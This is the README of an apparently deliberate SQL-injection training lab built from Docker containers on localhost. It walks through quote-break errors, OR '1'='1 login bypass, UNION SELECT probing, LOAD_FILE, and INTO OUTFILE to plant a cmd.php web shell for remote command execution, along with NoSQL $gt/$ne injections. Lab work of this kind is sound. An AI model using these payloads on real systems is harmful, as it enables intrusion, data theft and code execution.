This repo contains some docker containers which are vulnerable to SQLi. You can use it to recreate these attacks.
Start the network with sudo ./start_linux_network.sh
(you need sudo for the docker exec's if you run it properly not using docker user). You have to wait a bit until the databases are populated.
Below is an FAQ if you have problems starting the project.
To get an overview of the examples goto http://127.0.0.1:8781/
http://127.0.0.1:8781/inf_disclosure/specific_table/list_products.php?value=100
Error when calling this url:
http://127.0.0.1:8781/inf_disclosure/specific_table/list_products.php?value=100%27
http://127.0.0.1:8781/inf_disclosure/specific_table/list_products.php?value=100' OR '1'='1
http://127.0.0.1:8781/login/login.php
Enter 'admin', 'admin'
Enter some credentials. Check url.
Error when calling this url:
http://127.0.0.1:8781/login/login.php?user=user'&password=pass'
http://127.0.0.1:8781/login/login.php?user=admin&password=xyz' OR '1'='1
http://127.0.0.1:8781/load_file/list_users.php?UserID=2
Check if you can do a UNION SELECT
(add numbers at the end of the line until the query works 1, then 1,2, then 1,2,3 and s forth...):
http://127.0.0.1:8781/load_file/list_users.php?UserID=1 UNION ALL SELECT 1,2,3
If file permissions are set to db user (e.g. logged in as root or GRANT FILE ON *.* TO 'user'@'%';
is set):
Use LOAD_FILE
:
Using LAMP Server:
http://127.0.0.1:8782/into_outfile/list_users.php?UserID=2
Use INTO OUTFILE
:
/var/www/html/cmd.php
should not exist before.
After that you can check remote code execution with:
http://127.0.0.1:8782/cmd.php?cmd=ls
http://127.0.0.1:8781/inf_disclosure/generic/show_timesheet.php
http://127.0.0.1:8781/inf_disclosure/form_steps/forms.php
Form to choose a customer showing soft skills
http://127.0.0.1:8781/inf_disclosure/form_steps/forms.php?form=form2¶m='
To get an overview of the examples goto http://127.0.0.1:8783/
- http://127.0.0.1:8783/products.php?product[$gt]=%22%22
- http://127.0.0.1:8783/products.php?product[$ne]=1
ERROR: Pool overlaps with other one on this address space
Removing network payloadtester_sqli_sqli_linux_network
WARNING: Network payloadtester_sqli_sqli_linux_network not found.
Check your networks with sudo docker network ls
. There are address ranges colliding. You can remove an address range with sudo docker network rm <network id>
.